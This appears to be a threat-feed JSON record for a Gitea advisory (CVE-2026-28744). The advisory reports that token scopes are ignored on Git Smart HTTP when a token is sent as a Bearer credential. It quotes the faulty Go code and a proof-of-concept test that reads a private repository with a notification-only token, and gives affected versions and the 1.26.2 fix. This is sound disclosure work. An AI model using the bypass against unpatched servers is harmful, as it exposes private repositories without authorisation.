{"schema":"threatline.record/2","record":{"id":"CVE-2026-28744","aliases":["GHSA-cc8w-r4qh-3v65","GO-2026-5321"],"summary":"Gitea: Git Smart HTTP Skips Repository Token Scopes for Bearer Tokens","details":"### Summary\nGitea v1.26.1 enforces repository-scoped access-token permissions on repository operations. In the Git Smart HTTP path, however, this check runs only when the token is presented via HTTP Basic authentication — `CheckRepoScopedToken()` returns early unless `ctx.IsBasicAuth` is true — so the same token sent as `Authorization: Bearer <token>` bypasses the scope check entirely.\n\nAs a result, a PAT or OAuth2 token presented as a Bearer credential can clone or fetch private repositories without the `read:repository` scope, and likewise reach the Git push without `write:repository`.\n\n### Details\nGit Smart HTTP routes allow both Basic auth and OAuth2/Bearer auth:\n\n```go\n// routers/web/web.go\naddOwnerRepoGitHTTPRouters(\n\tm,\n\trepo.HTTPGitEnabledHandler,\n\twebAuth.AllowBasic,\n\twebAuth.AllowOAuth2,\n\trepo.CorsHandler(),\n\toptSignInFromAnyOrigin,\n\tcontext.UserAssignmentWeb(),\n)\n```\n\nThe Git HTTP authorization path calls `CheckRepoScopedToken()` before falling through to normal repository RBAC:\n\n```go\n// routers/web/repo/githttp.go\nif askAuth {\n\tif !ctx.IsSigned {\n\t\tctx.HTTPError(http.StatusUnauthorized)\n\t\treturn nil\n\t}\n\n\tcontext.CheckRepoScopedToken(ctx, repo, auth_model.GetScopeLevelFromAccessMode(accessMode))\n\tif ctx.Written() {\n\t\treturn nil\n\t}\n\n\t// normal repository RBAC follows\n}\n```\n\nHowever, `CheckRepoScopedToken()` only enforces token scopes for Basic-authenticated requests:\n\n```go\n// services/context/permission.go\nfunc CheckRepoScopedToken(ctx *Context, repo *repo_model.Repository, level auth_model.AccessTokenScopeLevel) {\n\tif !ctx.IsBasicAuth || ctx.Data[\"IsApiToken\"] != true {\n\t\treturn\n\t}\n\n\tscope, ok := ctx.Data[\"ApiTokenScope\"].(auth_model.AccessTokenScope)\n\tif ok {\n\t\trequiredScopes := auth_model.GetRequiredScopes(level, auth_model.AccessTokenScopeCategoryRepository)\n\t\t// public-only and required repository scope checks follow\n\t}\n}\n```\n\nThe Bearer/OAuth2 auth path still records the token scope:\n\n```go\n// services/auth/oauth2.go\naccessTokenScope, uid := GetOAuthAccessTokenScopeAndUserID(ctx, tokenSHA)\nif uid != 0 {\n\tstore.GetData()[\"IsApiToken\"] = true\n\tstore.GetData()[\"ApiTokenScope\"] = accessTokenScope\n}\n```\n\nBearer PATs also set `IsApiToken=true` and `ApiTokenScope`, but `ctx.IsBasicAuth` remains false because the selected auth method is OAuth2/Bearer rather than Basic. The scope is therefore available but ignored.\n\n### PoC\nThis test creates a token for `user2` with only `read:notification`, then requests Git Smart HTTP refs for `user2/repo2`, which is private. The same token is rejected over Basic auth, but succeeds over Bearer auth.\n\n```go\nfunc TestPOCGitSmartHTTPBearerTokenBypassesRepositoryScope(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\trepo := unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: 2, OwnerName: \"user2\", Name: \"repo2\"})\n\tassert.True(t, repo.IsPrivate)\n\n\tsession := loginUser(t, \"user2\")\n\ttoken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopeReadNotification)\n\turl := \"/user2/repo2/info/refs?service=git-upload-pack\"\n\n\tbasicReq := NewRequest(t, \"GET\", url)\n\tbasicReq.SetBasicAuth(token, \"x-oauth-basic\")\n\tMakeRequest(t, basicReq, http.StatusForbidden)\n\n\tbearerReq := NewRequest(t, \"GET\", url).AddTokenAuth(token)\n\tresp := MakeRequest(t, bearerReq, http.StatusOK)\n\tassert.Contains(t, resp.Body.String(), \"refs/heads/master\")\n}\n```\n\n### Impact\nAny Gitea instance exposing Git Smart HTTP is affected when users use PATs or OAuth2 tokens as Bearer tokens. The attacker still needs a token for a user who has normal repository RBAC, so this does not grant access to repositories the token owner could not otherwise access.\n\nThe vulnerability breaks the access-token scope boundary. A token intended only for unrelated scopes, such as `read:notification`, can clone or fetch private repository contents over Git Smart HTTP. The same root cause can affect write flows because `git-receive-pack` also calls the same repository scope check before normal write RBAC.","categories":["Libraries & packages"],"product":"code.gitea.io/gitea","vendor":"Gitea","ecosystem":"go","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","source_modified_at":"2026-10-22T12:51:12Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.gitea.io/gitea"},"range":"<= 1.26.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-28744","source_modified_at":"2026-07-06T15:17:58.355Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"Gitea Open Source Git Server","vendor":"Gitea","versions":[{"version":"0","lessThanOrEqual":"1.26.1","status":"affected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cc8w-r4qh-3v65","source_modified_at":"2026-06-25T19:56:15.215991857Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.gitea.io/gitea","purl":"pkg:golang/code.gitea.io/gitea"},"ranges":[{"events":[{"introduced":"0"},{"fixed":"1.26.2"}],"type":"SEMVER"}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","source_modified_at":"2026-10-22T12:51:12Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"go","name":"code.gitea.io/gitea"},"version":"1.26.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-cc8w-r4qh-3v65","source_modified_at":"2026-06-25T19:56:15.215991857Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"Go","name":"code.gitea.io/gitea","purl":"pkg:golang/code.gitea.io/gitea"},"version":"1.26.2"}],"cvss":8.1,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00448,"percentile":0.37952,"score_date":"2026-10-23"},"published_at":"2026-07-03T20:19:40.031Z","modified_at":"2026-10-22T12:51:12Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-22T12:51:12Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-28744","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-07-06T15:17:58.355Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-cc8w-r4qh-3v65","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-06-25T19:56:15.215991857Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28744","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-cc8w-r4qh-3v65","tags":["exploit"]},{"url":"https://github.com/advisories/GHSA-cc8w-r4qh-3v65","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/go-gitea/gitea/pull/37583","tags":["patch"]},{"source":"CVE List","url":"https://github.com/go-gitea/gitea/releases/tag/v1.26.2","tags":["release-notes"]},{"source":"CVE List","url":"https://blog.gitea.com/release-of-1.26.2/","tags":["release-notes"]}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"total","assessed_at":"2026-07-06T15:17:54.973827Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-22T12:51:12Z","content_hash":"e0a94c1de4c74295a0fef9869a341d3af90a1fa2a5d7f0fb961bd65923db8189"}}
